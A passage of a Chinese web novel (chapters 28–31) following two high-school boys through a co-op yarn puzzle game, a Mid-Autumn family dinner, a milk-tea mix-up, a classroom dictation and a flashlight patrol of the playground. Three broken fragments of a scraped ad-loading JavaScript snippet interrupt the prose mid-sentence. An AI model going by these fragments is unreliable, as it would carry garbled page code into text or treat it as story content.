他的脑袋里忽然蹦出来这么四个字。 “磨蹭啥呢,聋了?……能不能把路让开?” 与可爱一词大相径庭的语气把他从想象里毫不留情地扯了回来,谢遥集叹了口气,把手柄的摇杆随意地朝着一个方向扭了扭。 几秒钟后,林藏初崩溃的声音再次响起:“……不是,你他妈左右不分吗?” “这是在往里面走!回头,往左走!” “……”谢遥集终于舍得把视线放回到屏幕正中央,红色的毛线小人刚才直直地冲进山洞里,反客为主地把上蹿下跳的蓝色毛线小人挤在了嶙峋的石头墙壁上。 事情发生的太过突然,等蓝色小人反应过来的时候已经“身陷囹圄”,挣扎着想要逃窜,未果,只好愤愤地扔出来一截毛线来表达自己的不满。 ……有点儿像虚张声势挥舞着的拳头。 “抱歉。”谢遥集诚实道。 他再次低下头努力查看了一番手柄键位,最后原地跳了一下,红色的毛线精灵蹦着向左边让开路。 两人现在所处的地方还是跳荷叶的那一关。 谢遥集沉默地后退几步,想让林藏初先行一步,就见对方摩挲了几下下巴,语气肯定道:“这个要一起过。” “最好动作同步。” 程九理方才一整个流程听下来心惊胆战生怕谢老师被自家发小骂生气,刚松下心就又跟着提起来:“这么难??” 林藏初反问他:“你觉得难?” “……”程九理头摇得像拨浪鼓,狗腿似的讨好道,“不难,不难!有咱林哥出马,怎么会难!” 五分钟后,程九理说出去的话变成实心大巴掌,狠狠地扇回在了自己的脸上—— 他谢老师的游戏水平并没有因为换了搭档就突飞猛进大幅提高,反而因为跟不上对方的步伐而变得更为菜逼踉跄了。 怎么会这样……程九理绝望地以掌掩面。 从复活点到池塘的中间还有一段要荡过去的藤蔓,林藏初眼睁睁看见谢遥集操纵的人物复活,冲刺,抓住钩点荡来荡去,最后再慢一拍地掉下来,淹进池塘里,咕嘟咕嘟。 其实这时候如果手速快一点儿,从水里直接爬到荷叶上,也不是不能活。 这游戏有些地方并不是即死机制。 ……但是他好像高估了谢遥集,也高估了自己。 林藏初沉默着,在心里长长地叹一口气。 这游戏的另外一个特点是没有中文,林藏初对着屏幕上一大堆的英文提示和按键解释半个词都不认识,就连操作方法都是在拿到手柄之后的几分钟里自己试出来的。 兴许是角色的死亡次数太多,屏幕下方又跳出来了一行英文单词。 “......can try to carry the other character...hold?” 谢遥集挑了下眉,出声念出上面的关键词,跟着英文提示,死马当活马医地低头找到手柄按键,长按。 几秒钟后,他的角色晃头晃脑地朝着林藏初的蓝色毛线小人走了过去,爬上对方的背,缓缓将自己与它缠绕在了一起。 ……彻底合二为一。 林藏初:“……?” ??? 28. Chapter 28 林藏初操纵着红蓝相间的毛线试探着走了两步,简直匪夷所思:“这就合体了?” “不是,它在游戏介绍里说一声会死吗?” “……确实说了。” 谢遥集幽幽出声,试图为制作组辩解:“但是说的英文,你没看懂。” 林藏初:“……” 林藏初黑着脸摆弄了两下手柄,屏幕里缠绕在一起的两只毛线小人在他的刻意指挥下,噗通一声主动跳进池塘。 谢遥集看着自己的角色和游戏界面缓缓死亡变灰,无奈道:“我没骂你。” “我知道。”林藏初说。 程九理有点插不进去话,只好看了看墙上的时钟,小声提醒道:“还有半个小时,就要到时间了。” 吵闹的房间骤然一静,拌嘴的两个人默契地住了口,谁都再没说话。 淹死的两只毛线小人再次复活,还是缠绕在一起的状态。 林藏初叹了口气,不再耽搁,握着手柄操纵角色,抓住藤蔓一气呵成地荡过去,跳准池塘里的每一片荷叶,最后踩了下冲过来吞人未果、只好回游的鲤鱼的背,成功上岸。 ……整个过程只用了两分钟。 谢遥集松开手柄,忽然长久地沉默了。 “过了。”林藏初觑着他的神色,“你要下来吗?” 谢遥集问:“我可以一直不下来吗?” 林藏初:“……” “也行,那你就在上面抱着吧。” 他没再废话,往前助跑几步,又跳过了一处障碍物,落在圆滚滚的巨石前面。 谢遥集有印象,之前把自己压死的滚石也长这个样子:“前面没路了。” 几秒钟后林小少爷抛出一截毛线,系在巨石下面卡着的短木头上,向后退了几步轻轻一拽。 木头松动的同时,巨石跟着骤然高速滚落,谢遥集还没反应过来,就看到林藏初带着他一个轻巧的跳跃,抓着藤蔓牢牢地把两个人固定在了空中。 巨石从毛线小人的身下擦着边角滚过,最后“轰”地一声撞在了前面的枯树上,枯树应声而断,砸出来一条光明大道。 程九理小小声地“哇”了一句。 蓝色的毛线小人跳跃着向前跑去,身上的红色毛线继续心安理得地挂着当条纹装饰物。 直到林藏初再次独自荡进废旧的仓库场景中,前面没路,后面也没路,只有一块砖头摇摇欲坠地放在煤炭窑的顶部。 “怎么走?”他转过头问程九理。 看林藏初一路无痛速通的程九理从沉迷发小高超游戏技术的状态中脱离出来,茫然地发出一个短音节:“啊?” 林藏初放下手柄,耐心重复了一遍自己的问题。 程九理更加茫然:“……我不到哇。” 煤炭窑上方的砖头被林藏初操纵着人物推了下去,将仓库的木板砸碎成一长一短的两截,摇身一变,成了可以承重的跷跷板。 上面几个可以系绳的节点莹莹地发着光,林藏初跳上去,先是往左边绑了个绳结,然后又在右面缠了一下。 毛线小人在发光的绳子上蹦了蹦,试图利用长绳上下摆动的惯性来跳上右侧的高平台。 两秒钟后,红蓝相间的毛线团一头撞在了铁板上,顺着光滑的墙壁缓缓滑下—— 蹦床计划宣告失败。 林藏初眉头紧锁,下意识抬头看了一眼房间里挂着的时钟。 ……还有十五分钟。 不是,这玩意到底要怎么过去? 对于这种纯靠解密的游戏环节,林藏初向来不怎么擅长,又不好拉下脸说自己不会,只能退而求其次,有些烦躁地上下左右摆弄着游戏手柄。 屏幕里的毛线小人胡乱地到处走着,最后脚一崴,准确无误地卡在了断裂木板的下面。 林藏初:“……” 几秒钟后,他身上的红色毛线忽然动了下,变成一只完整的精灵小人,慢吞吞地从被卡的角色背部爬了下来。 谢遥集操纵着红色小人往旁边走了几步:“还能出来吗?” “……瞧不起谁。”林藏初把摇杆往上一推,蓝色小人顶开木板晃晃悠悠地爬出来。 然后就看见红色小人已经站在了方才被人系好的绳子上,正努力伸着胳膊把自己的红绳子往左边的钉子上绑。 林藏初眼睁睁看着谢遥集忙里忙活地把煤炭窑和地上的木板用绳子重新打了个结,又把自己先前绑上的唯一一段绳子给利落拆掉:“……你干嘛呢?” 他话音刚落,正尝试着抛出毛线抓紧右上方钉子的蓝色小人手一滑,梅开二度,“啪叽”一下摔在了地面上。 谢遥集放下手柄,咳了一声:“我刚才猜,会不会是要把这几个钉子绑上——形成一个‘之’字状。” “这样就能把下面那块砖头运上右边稍矮一些的平台。” 红色小人走到断裂的木板的左边跳了跳。 “然后一个人站在这里。” “另一个人顺着绳子爬上去,把砖头推下来——根据杠杆原理,站在左边的人就会被木板弹上去。” “当然。”谢遥集缓缓地说,“这些也只是我的猜测。但是可以稍微试一下。” 他说太多,林藏初有些大脑宕机,花了十几秒钟才思考完这个办法的可行性:“好,那我爬到上面去绑绳子。” 林小少爷简单地扒拉了几下手柄,小蓝人在他的操纵下动作丝滑地攀上剩余的几颗钉子,三下五除二就把绳子绑好:“成了。” “砖头呢?” 红色小人笨拙地把砖头顺着绑好的毛线绳子推上来,中途还被晃晃悠悠的木板给绊了个跟头。 “……”林藏初不忍直视地别开眼,当做没看见。 他从煤炭窑的顶端跳下来,稳稳地落在谢遥集指过的位置上:“我好了,你推砖头的时候要喊三二一吗?” 谢遥集还真的思考了一下:“也不是不行……” “算了。”林藏初打住他的话,“你还是直接推吧。” 谢遥集:“那我推了?” 红色小人不再迟疑,把左侧几乎和自己一般身高的方砖用力向下一推。 沉甸甸的方砖脱离平台,路径笔直地砸下来,与此同时, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 木板左侧的蓝色毛线小人被冲击力猛地砸飞,在空中翻滚着划出一道完美的抛物线—— 准确无误地摔在了右侧的目标平台上。 “……竟然上去了。”程九理恍惚喃喃,“用一种这么奇怪的方式……” 林藏初也没想到,用了谢遥集的方法之后就能一次成功。 蓝色的毛线小人晃着脑袋晕乎乎地站起来,扒着平台边缘冲下面的红色小人看。 “留在下面的好像要拽着毛线爬上来。”林藏初说。 “怎么拽?”谢遥集反问他。 林藏初:“。” “就这样,按着LT不放。”林藏初耐心地比划起来,“然后摇杆向上——” “唔。”谢遥集十分礼貌地打断道,“不好意思,请问LT是哪个键?” 林藏初:“……” 林藏初深吸一口气,放下手柄站起身。 他三步并作两步地跨到谢遥集面前,伸手抓住对方的手柄,谢遥集猝不及防被他一扯,疑惑抬头:“?” 不过瞬息之间,他的手就连着手柄一起被林藏初握住了。 对方温热的手指不由分说地覆上来,摸索着从指缝间穿过去,找到传说中的LT键:“在这里,你看见没?” 林藏初的手背白得晃眼,谢遥集的视线从那道细长的疤痕上移开,喉结上下滚动了两下:“……嗯,看见了。” 不知为何,谢遥集忽然感觉到自己掌心靠着游戏手柄的一侧开始微微出汗。 林藏初并没有注意到这些,视线仍旧停留在游戏屏幕上,只是握着人的手加了些力道,似乎是蕴含了一点儿对游戏小白的恨铁不成钢。 他的食指虚虚地勾着谢遥集手里的LT键:“我帮你按着,爬吧。” “……”这话听起来有点像骂人,但是谢遥集难得地没有反唇相讥借题发挥。 他沉默地推了下摇杆,红色小人因为他的动作扯着绳子向上爬了几步。 “?”林藏初原本落在屏幕上的视线缓缓移到这人脸上,皱着眉开口道,“你倒是走啊?” “……” 目的达到,红色小人于是不再停顿,规规矩矩地沿着绳子开始匀速前进。 一旁的程九理看见好似正贴在一起的两个人,整个人几乎瞠目结舌:这是林藏初? ……这是当初他在游戏里犯了个错误而被骂得狗血淋头、隔了好多年仍旧时不时拿出来翻旧账的那个林藏初?? 程九理忽然怀疑起自己在林小少爷心里铁一般的发小位置了。 ……这态度对比,他怎么还不如一个新来的?? 程·林藏初从小到大的游戏搭子·挨过不知多少骂·九理的世界观在今天轻飘飘地骤然崩塌了。 他有些麻木地想:原来林藏初也不是谁都骂啊。 也不知道谢老师究竟用什么方法,才成为了林藏初在游戏底线方面的那个例外—— 很快接受现实的程九理看着沙发上连体婴儿般的两个人,转而又忍不住在心里认真咂摸了起来。 ……难道真的是因为,谢老师水平太菜? 29. Chapter 29 谢遥集最后走的时候,程母把他送出门去问:“九理最近学得怎么样?” “很认真。”谢老师心不惊肉不跳地面不改色扯谎道,“今天的进步也很大。” 进步很大——指学会了带补课老师跟发小一起打游戏。 “那就好,那就好。”程母没发现问题,乐呵呵地笑,“前些天你说的那个竞赛相关……” 谢遥集立刻明了:“嗯,我记得。这段时间正在为九理整理相关习题资料。” “九理现在才高一,学竞赛这事要循序渐进。先接触一部分知识夯实基础,日后再分板块进行系统性学习。” “辛苦小谢老师为我们家九理操心这么多。”程母脸上笑容更深,想起什么似的从口袋里摸出红包,“今天是中秋节,一点心意,您拿着。” “……阿姨太客气了。”谢遥集有一瞬间的怔然,随即反应过来,按着程母的手把红包往回推。 程母道:“这也是九理他爸的意思,九理这两个月休学在家,又不喜欢其他的老师,难得能碰上你。” “下学期手续办下来,他就要回市里的重点高中了,到时候可能十天半个月才回来一趟。” “这里面钱不多,你拿着就是。”程母不肯松口,“你家里的事我们也略有耳闻,就当是今年一起过个中秋,送些心意。” 她话已经说到这个份上,谢遥集也不好再拒绝,只好把红包接到手里,道:“谢谢阿姨。中秋快乐。” 等程母回去,他又在原地站了一会儿,没走。 天色稍微有了要暗下来的趋势,别墅二层的房间窗户亮起灯。 谢遥集仰头往上看,只看见了林藏初站在透明玻璃旁拉窗帘的身影。 他并没把注意力往楼下这边放,窗帘拉到一半,又发现新大陆似的惊喜地回头喊了些什么,比比划划地指着天空,似乎是想叫程九理过来看。 谢遥集顺着他手指的方向看过去,看见苍蓝色天穹里一轮高悬的明朗圆月。 影影绰绰地带着些形似树木的影子。 谢遥集收回目光,也没再往二楼的方向看,抱着厚厚一摞补课资料抬脚离开。 * 谢遥集走后,林藏初一直在程九理家留到了吃饭之前。 直到他的游戏手柄再次传来人物被击杀时的感应震动,坐在旁边的程九理被突然响起的手机铃声吓了一跳,是串不认识的陌生号码:“喂?哪位?” 那头说话的是个嗓音清澈的年轻女孩声音:“林藏初呢?叫他接电话。” “林哥,找你的。”程九理一头雾水,但还是把手机递了过去。 林藏初接过手机,还没来得及说话,就听见对面说:“妈让我叫你回家吃饭。” “……”林藏初猛地把手机从自己耳朵旁边扯开,看了一眼通话界面。 “……林子浔?你换手机号了?” 林子浔诡异地顿了一下,不着痕迹地避开这个话题,语气幽幽道:“她说你再不回家,今天的晚自习就要迟到了。” “爸特地买了阳澄湖的大闸蟹……家里还有一堆别人送礼过来的月饼盒子。” “噢对了,还有点儿礼物盲盒,都在等着你回来拆。” “给我的那些我都拆完了,剩下的都是你的,妈嫌弃太占地方,我给你堆在房间里了。” “……杨姨做了一桌子的菜,特别丰盛,杨姨家的小女儿也在,特别可爱。” “赶紧的哥。”林子浔说着说着就开始变成内鬼,“快回来吃饭,不然妈一直在旁边跟我对口型……” 林藏初清楚地听见手机里传来林妈小小声的嗔怪气音:“都说了,不要轻易暴露我!” “嗯嗯嗯嗯,好的妈妈。”林子浔无比熟稔地敷衍应答完妈妈,又对着话题道,“哥你快回来啊,挂了。” “——对了,帮我带杯奶茶。水蜜桃味儿的,全糖,加珍珠。” …… 半小时后。 林藏初拎着两杯冒着冷气的奶茶推开家里别墅的门。 宽敞的客厅比往常热闹,林妈妈正蹲在地上逗杨姨家的小女儿。 女孩白白净净的,像个瓷娃娃似的站在餐桌旁,怀里抱着只白色的小狗。 林藏初看着看着,又想起来谢遥集托付给他的那只黑色小猫。 “哥!”趁着林藏初还在换鞋的功夫,林子浔顶着一顶歪歪扭扭的绣花草帽从房间里探出头,“我的奶茶呢!” 林藏初的视线缓缓落在她极具艺术感的帽子上:“……你这帽子哪儿来的?” “妈花了一整天自己织的。”林子浔自豪道,“节日礼物。” “……”远处的林母听见之后立刻竖了耳朵,林藏初不好打击自己家妈的自尊心,只好把挂在手指上的打包袋递过去,“喏,给你。奶茶。” 林子浔盯着他手里装满冰块的奶茶袋子看了几秒,表情忽然呈现出一种奇异的神色来:“哥,有句话不知当讲不当讲。” 林藏初:“?” 林藏初紧急刹住自己嘴里下意识要出口的“有屁快放”,换了个文雅一点的描述:“有话就说。” “我这几天喝不了凉的。”她盯着这两杯冰奶茶,语气残忍道,“很巧,妈也是。” 顺手带了一杯给林妈妈的孝顺儿子林藏初:“……” “刚才在电话里忘说了。”林子浔诚恳道,“但是我确实下意识默认了你会买热的……” “或者温的。” “儿子!闺女!快来吃饭!” 兄妹俩无言对峙的时候,林爸在餐桌旁边遥遥地喊了一嗓子。 “噢,来啦。”林子浔先一步窜了出去,林藏初把奶茶放在玄关处的柜子上,也跟着上了桌。 桌上的美食摆盘琳琅满目,林藏初一眼就看见了最中间的白瓷盘,嫩绿的细长葱条里围着一整圈色泽红亮的油焖大虾。 林藏初面无表情地盯着那盘菜看到咽口水,然后郁闷地移开了视线。 紧挨着他的林子浔动作不紧不慢,用筷子夹起来,放碗,剥壳,塞进嘴里,整套流程下来一气呵成。 整个桌上唯一青虾过敏的林藏初:“……” 他面无表情地往自己的盘子里拎了一只完整的螃蟹。 这顿晚饭实在丰盛,等一家人终于吃得差不多的时候,距离一中晚自习的上课时间只剩了十分钟。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “走吧,我送你们。”林爸说,“今天李叔休假。” 临出门前,林藏初拎着书包,又看见玄关柜子上那两杯被买错的无辜奶茶。 林爸已经出了门,林子浔站在别墅的院子里等他,奇道:“还不走?要迟到了。” “噢。”被她这么一催,许是想要把错误毁尸灭迹,林藏初鬼使神差地把奶茶塞进了自己的书包里,“出来了。” …… ………… 两个人紧赶慢赶,再加之林爸车技熟稔,最终还是在上课铃响起的前几秒钟跑进了学校的大门。 林藏初倒是不在乎上课迟到,相比之下倒是林子浔的处境要更为惨淡一些—— 一中的南楼距离学校北门足足有将近一千米的距离,再加上高二(1)班的教室这学期因为一中生源人满为患而被迫搬到了五楼角落。 林妹妹想起自己班最近查纪律迟到查得贼严的班主任,瞬间两眼一黑。 “哥,我先跑了,你保重。” 她匆匆撂下一句话,就背着书包向南楼以百米冲刺的速度消失成了个芝麻大的小黑点儿。 林藏初看着她的背影,摇着头叹了口气。 ……真可怜呐。 等林藏初慢悠悠地走到班级门口时,上课铃已经响过了五分钟。 讲台上的椅子空空荡荡,老师明显是还没来。 林藏初正巧路过黑板南侧边角,破天荒抬起头看了眼晚自习的课表。 周日。是语文。 班级不算特别安静,但也不算特别吵,隔了一周之后回来要串座,林藏初找到自己座位时才发现自己已经多了排后桌,前桌邻居也跟着换了人。 周扬也没想到自己真有一天能当上林藏初的前桌,还附带了一个学神斜后桌。 他略有些局促地搓了搓手:“嗨!” 林藏初:“……嗨?” 唰啦。 安静学习的谢遥集在旁边翻过一页习题册,没说话。 于是周扬闭上嘴,老老实实地把头转了回去。 林藏初:“……” 聊天话题还没开始就结束了,林藏初忍不住开口:“你怎么一来就在学?” 谢遥集看他一眼:“我在给程九理找下次要做的题。” “……”林藏初一噎,纳闷道,“你一周要去他家补几节课啊,这么用功?” 谢遥集想起那个五百块的红包:“也没几节,你想来听?” “滚滚滚,谁要听你讲课。” 林少爷像是被踩了尾巴一样愤怒反驳,但是耳朵却红了。 谢遥集觑着他的神色,停下手中的笔,表情若有所思:“你要来也不是不行,一对二,我可以打个折。” 呯。 好像是杯子被人用力墩在课桌上的声音。 谢遥集眼睁睁看见林藏初不知从哪变出来两杯淡粉色的奶茶。 奶茶的外包装上凝着一串串冷水珠,与桌子接触的一瞬间水花飞溅,谢遥集面前的习题册立刻晕开了几滴写过的墨。 他听见林藏初恶狠狠地威胁道:“老实闭嘴。喝。” “喝不完揍你。” 30. Chapter 30 谢遥集的视线从他的手背上移到这杯里面装着的冰块已经融化了一半的水蜜桃珍珠奶茶上,问:“给我的?” 林藏初那点强撑着的霸道因为心虚而逐渐回落:“嗯……那啥,我亲手买的。” 他把话里的重音放在“亲手”两个字上,也没说这奶茶是给谁买的。 不说就不会错。反正谢遥集又不知道。 林少爷心里的如意算盘打得噼里啪啦响,然后他就看见谢遥集拎起那杯满是水珠的奶茶,小心翼翼地放在了自己的书桌上。 平摊着、占了桌面一大半地方的卷子被他挪开给奶茶让路,林藏初忽然有点后悔自己送奶茶的动机—— 其实他什么都没想,只是觉得奶茶剩着也是剩着有点浪费,不如拿到学校里叫同学一起喝了。 但是谢遥集会不会认为,这是自己专门买来送他的? 林藏初盯着谢遥集脸上每一寸细微的表情,几乎要把人盯出来一个洞。 谢遥集察觉到他的视线,正在插吸管的手顿了顿,问:“怎么了?” “没,没怎么。”林藏初僵硬地扯出来个略有些浮夸的笑容,表情神似潘金莲给武大郎送药,“快喝吧。” 谢遥集不疑有他,将吸管一插到底:“谢谢。” “嗯嗯,不客气。” 做贼心虚的林藏初默默地转过头,不易察觉地擦了下汗,把留给自己的那杯也插上了吸管。 前桌的周扬转过身刚要问人物理题,一抬头就看见动作整齐划一喝着奶茶的两个人。 周扬:“?” “林哥,你们这是……”周扬的视线在林藏初和谢遥集之间犹犹豫豫地扫了两圈,他记得外面都说谢神奶茶过敏啊? 林藏初本来就讨厌奶茶里的珍珠。 被他这么一问,差点被嘴里含着不肯咽下去的珍珠小料给噎到:“咳!” “奶茶店打折。两杯半价。” 林藏初言简意赅地解释道。 “我记得这家的炒酸奶也好吃。”周扬盯着他手里堆叠在一起的包装袋喃喃,“好想吃炒酸奶……” “怎么就没人莫名其妙地请我吃一顿炒酸奶呢……” “要问什么题?” 谢遥集语气异常温和地打断了他。 周扬:“噢!” 周扬终于想起来了自己转过来的最初目的,把手里的物理卷子递过去:“谢神你看这道多选题,C和D虽然是同类型选项,但我怎么感觉算出来都是对的?” 林藏初咬着嘴里的吸管,看谢遥集伸手接过那张物理卷。 然后看了几秒钟的题目,在演算纸上随意地写了两串式子推过去。 “有一个来自长木板的摩擦力,你忘记算在里面了。”谢遥集说。 周扬拿着演算纸恍然大悟:“哦!” “速度为零,再用一个能量守恒……”他嘴里念念叨叨地转过身,还不忘道谢,“谢了啊,学霸!” 谢遥集:“嗯,不客气。” 咔嚓。林藏初不知怎地用了些力气,他低头一看,发现自己把嘴里的塑料吸管咬断了。 珍珠小料真的好难吃。他面无表情地想。 ……林子浔怎么会喜欢这种东西?? 走廊里响起熟悉的高跟鞋声音,语文老师终于带着一脑门的汗姗姗来迟。 “不好意思啊同学们,家里有点事儿,耽搁了。”她喘了口气,表情看得出来十分着急,林藏初又想起来学校北楼的破楼梯。 ……要是老师和学生都不用上课就好了。 语文老师并没有稍作休息,只平复了下呼吸频率就走到讲台上。 她翻开语文书,问:“上节课让背的两篇古文,大家都背好了吗?” 前排有几个学生稀稀落落地拉长音:“背——好——啦——” “其他同学呢?”她的视线朝讲台下四周扫视了一圈。 ……全场沉寂,无人应答。 语文老师:“……我就知道。” “这节课不自习了,改黑板默写。” 她的声音无比温柔,但乍一听总有种阴森森的冷气:“我随机抽两个人上来,其他的人在下面写。” “你们是刚串完座位?那这次就不念名字了,抽座位号吧。” “……”林藏初忽然有种不好的预感。 果不其然,下一秒他就听见语文老师温声细语的话音。 像把锃亮的铡刀一样直直地落下来:“左数第三列,从前往后的第五排同学。” 所有学生的目光集体回头,一排排地跟着数过去。 最后不偏不倚地落在了林藏初的身上。 刚喝完最后一口奶茶,打算把杯子藏在地上的林藏初:“……” 别是这么倒霉吧。他这一周什么都没背啊! 语文老师一愣,显然没想到一抽就抽到了班里语文成绩最好的:“林藏初?那你上来吧,就当是给大家打个样儿。” 林藏初被迫沐浴在众人的视线里,只好硬着头皮拽开椅子,心如死灰地从教室的倒数第二排往讲台上走。 语文老师紧接着又随机抽了位其他的倒霉同学,也把人喊上了讲台。 听写人员各就各位,语文老师走下讲台,笑容满面地翻开了书本。 “好,下面请听第一题。” “《赤壁赋》一文中,从听者感受的角度来侧面描写洞箫声悲凉哀戚的句子是?” 林藏初站在讲台上,粉笔怼着黑板迟迟未动。 如果有人现在用心盯着林小少爷的两只眼睛看,就会发现他左眼里写着“不会”,右眼里写着“没背。” 但好在前几年的语文底蕴还在,林藏初在文字记忆方面一向有种得天独厚的天赋,他对《赤壁赋》只是不熟,并不是全忘了。 十几秒钟过后,林藏初终于在心里把古文第一段全部顺了一遍,确定了自己的答案。 黑板上很快出现一行歪歪扭扭的粉笔字:舞幽壑之潜鲛,泣孤舟之嫠妇。 或许是因为他写的实在太慢,站在旁边的同学虽然早就先一步写完了答案,但还是心里没底地转头,偷偷看了眼林藏初写上去的字。 当他看到对方笃定地在黑板上写下“舞幽壑之潜鲛”的时候,表情有一瞬间空白,心里冒出来些微 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弱的怀疑和不自信。 倒霉同学又抬头看了看自己写上去的“舞幽壑之潜蛟”,最后决定还是信语文最高分一把。 他大手一抹,十分坚定地把自己的一笔一划写上去的“蛟”擦掉了,改成了和林藏初一样的“鲛”。 与此同时,在他擦掉“蛟”之前的一瞬间,林藏初察觉到对方看过来的视线,也下意识往对方的黑板上看了看。 当看到上面写着的规规整整的内容,原本心里不确定的林藏初对着自己越看越不顺眼的那个“鲛”字瞬间顿悟,转头就改了。 只可惜照葫芦画错瓢的同学并没能看见这一幕—— 以致于两人答案完美互换,错误的变成了正确的,正确的变成了错误的。 底下同学写完默写抬头一看,刚好将这阴差阳错的几秒钟尽收眼底:“噗。” 有第一排坐得离得近的想好心提醒,但是被恰巧走过来的语文老师给挡住了。 高姿处于一个视野极佳的观赏位置,想笑又有点不敢笑。 她看着林藏初龙飞凤舞、构造奇异,但是每个字又偏偏都莫名其妙对了的默写,心道感叹道,不愧是天生学语文的好苗子。 看出来是一点儿没背,但偏偏就是一个字都没写错。 语文老师一共考了六道古文默写,到最后两个人都放下粉笔回了座位,剩她一个人站在讲台上,对着左侧黑板上鬼画符一样的粉笔字勉强辨认正确与否。 ……林藏初这孩子,在语文这一学科上天赋极高哪哪都好,就是这个书法,实在不敢恭维。 语文老师头疼地叹了口气。 但好在这次的默写是全对了,虽然写得有点丑。 她又踱步到右侧黑板。 相比于左边的怪力乱神之景,右边的粉笔字明显要好上一大截。 整整齐齐的方块字与深绿色的黑板相得益彰,赏心悦目,尤其是这个第一句…… 语文老师盯着那个额外突出的“鲛”字看了几秒钟,细细的眉毛跟着蹙了起来。 已经回到座位打开书看了原文的同学:“……” 完,完蛋了。 ……所以他为什么要这么相信林藏初啊!! “之前强调过那么多遍。”语文老师把头转过来,视线穿过人群牢牢地定在犯错者的身上,和颜悦色地温柔问道,“怎么还会不记得?” “……”有点风雨欲来前的低气压。 下一秒,整个教室都回荡着语文老师的怒吼声:“罚写二十遍,明早交我办公室!听见没有!” 罚的是别人不是他,但林藏初还是心有余悸地缩了缩脖子。 ……好险。 旁边忽然传来一声轻笑,林藏初转过头,看见谢遥集欲盖弥彰地把卷子往回扯了扯。 “你笑什么?”林藏初问。 谢遥集:“……我想起高兴的事。” 林藏初不问到理由坚决不肯放弃:“什么高兴的事?” 谢遥集停下手中翻书的动作,非常温和地看了他一眼。 “没什么。”他说,“只是想起来开学典礼那篇意义非凡的抒情演讲稿。” 31. Chapter 31 林藏初:“……” “班主任非要亲自钦点我写,那也是没办法的事。”他移开视线,小声嘀咕道。 “这明明是两种情况,不能一概而论。”林藏初紧接着又强调。 谢遥集顺从地点点头:“嗯,可以理解。” 下课铃打断了两人的对话,教室在一瞬间被四面八方嘈杂的聊天声灌满。 考试前的晚自习一向会让谢遥集的座位周围人满为患,有人已经自觉地抱着题过来排队,林藏初张了张嘴,刚才想说的话被忘在了脑袋里。 但是谢遥集并没有去立刻应付他们。 他微微地转过头,视线落在林藏初的脸上,是个关切问询的眼神。 还有一句林藏初从未想过能从谢遥集嘴里听见的邀请:“去不去逛操场?” 林藏初:“啊?” 于是谢遥集又重复一遍:“要不要去逛操场?” “……”林藏初的视线在周围求知若渴、饿狼扑食的同学们身上转了一圈,奇道,“你确定,你有时间?” 谢遥集也跟着他的目光回头,挨得最近的几个同学触及到学神平静的扫视,下意识往后退了一步:“……” 谢学神礼貌又和蔼可亲地问:“要不,你们下节课间再来?” 抱着物理化生卷子一应俱全的同学一瞬间冷汗具下,生怕晚了几秒这哥就撂担子一道题都不给讲了:“好的好的,那我们下节课再来,您和林神先去忙!” ……忙?忙什么? 林藏初觉得对方的语气叙述听起来略有一点儿奇怪,但是一时半会的又想不出来到底是哪里奇怪。 他仔细思忖的功夫,手腕已经被谢遥集给拽住了。 对方用不由分说的力道轻轻一提,林藏初整个人就跟着离开了座位。 椅背上空空如也的书包因为没有了人体的支撑而缓缓滑落,谢遥集随手帮他扶了起来:“走吧。” 林藏初:“……?” 堵前堵后的问题同学还没走干净,瞧见两人动作之后自动地在过道上分出来一条窄窄的路。 林藏初不明就里地被人强行扯着迈出去了几步,还是觉得事有蹊跷,谨慎地停住了脚步:“等一下。” 谢遥集也跟着停在原地:“嗯?” “我刚才还没答应你。”林藏初严肃道 ,“为什么直接拽我走?” 谢遥集脸上的表情没有太多变化,只是问:“所以,你其实不想去?” 林藏初思考了几秒钟。 “不,我去。” 谢遥集:“……” * 林藏初直到下楼到了操场,才反应过来自己一直觉得蹊跷的地方到底是什么。 正是中秋佳节,夜空中星光廖廖,圆月高悬。课间的林荫路上人来人往,身影婆娑,成双成对—— 一眼望过去,能有不下十对儿小情侣。 洁白的月光和昏黄的路灯交相辉映,林藏初就在这种暧昧的氛围下,盯着谢遥集朦胧优越的侧脸,彻底想通了其中自相矛盾的关窍:“你之前说自己最讨厌逛操场。” “……为什么今天突然出来?” 谢遥集停下自己还在往林子里走的脚步,沉默了。 半晌,他从口袋里掏出来一只手电筒,啪嗒一下打开了。 突如其来的强光几乎刺得林藏初睁不开眼睛,他捂着自己生理性流泪的双眼,听见谢遥集缓缓开口道:“……因为我今天有任务。” “……?” 林藏初倏地把眼睛泪花婆娑地睁开了:“你说啥?” 谢遥集其实没想着瞒他,但是贸然在班级提起来这种事总归不好。 他叹了口气,道:“你还记得咱们学校有个兼职岗位,是负责夜间下课巡查吗?” 高功率手电筒刺目的白光莹莹地照着地面,无数趋光的小飞虫开始逐渐聚集,林藏初仔细地在脑袋里想了想:“你是说……大家都在传的那个,‘扫/黄手电筒’?” 谢遥集点点头,认可了他的说法:“这个活一般都是派给课程不那么繁重的老师干的。” “今天微机老师要回老家过中秋。”他晃了晃手里的手电筒,“他让我代为‘照顾’一下这项任务,事成之后转账立结。” 林藏初懵懵地听着自家同桌的关系网:“你怎么认识这么多老师?” 林藏初:“……不对。” 他看了看这人身上的高三校服:“真的不会被校长发现吗?” 谢遥集慢悠悠地晃着手电筒,往前走了几步:“天这么黑,强光一晃,后面是人是鬼没人看得见。” “别站在路灯下就好。” 林藏初:“……哦。” 头一次经历这种事的林小少爷莫名其妙有了种为虎作伥的背德感,但还是老老实实地跟着人找了个无比黑暗的角落。 事实证明林小少爷确实想得太多,谢遥集几乎不用太多动作,只往那儿一站,手电筒上下左右地这么一晃一扫,就有无数的小情侣仓皇逃窜。 ……跑都来不及,哪里还顾得上看手电筒后面的人到底是谁。 始终维持同样的姿势,林藏初没过两分钟就站得有点腿麻。 他拍死一只停在自己胳膊上准备开咬的蚊子,左右看看确认四下无人,随即唉声叹气地蹲下了:“好累。” 谢遥集:“……我拿着手电筒都没累,你累什么?” 林藏初说:“我这种大门不出二门不迈的居家生物,光是陪你从五楼跑下来就已经耗尽了全部力气。” “更甭提还要挨蚊子咬。” 说话间,林藏初面无表情地抬手,又拍死了一只更大的蚊子。 谢遥集:“……” “对不起。”谢学神诚恳地开口道歉道,“我不知道你会这么招蚊子。” 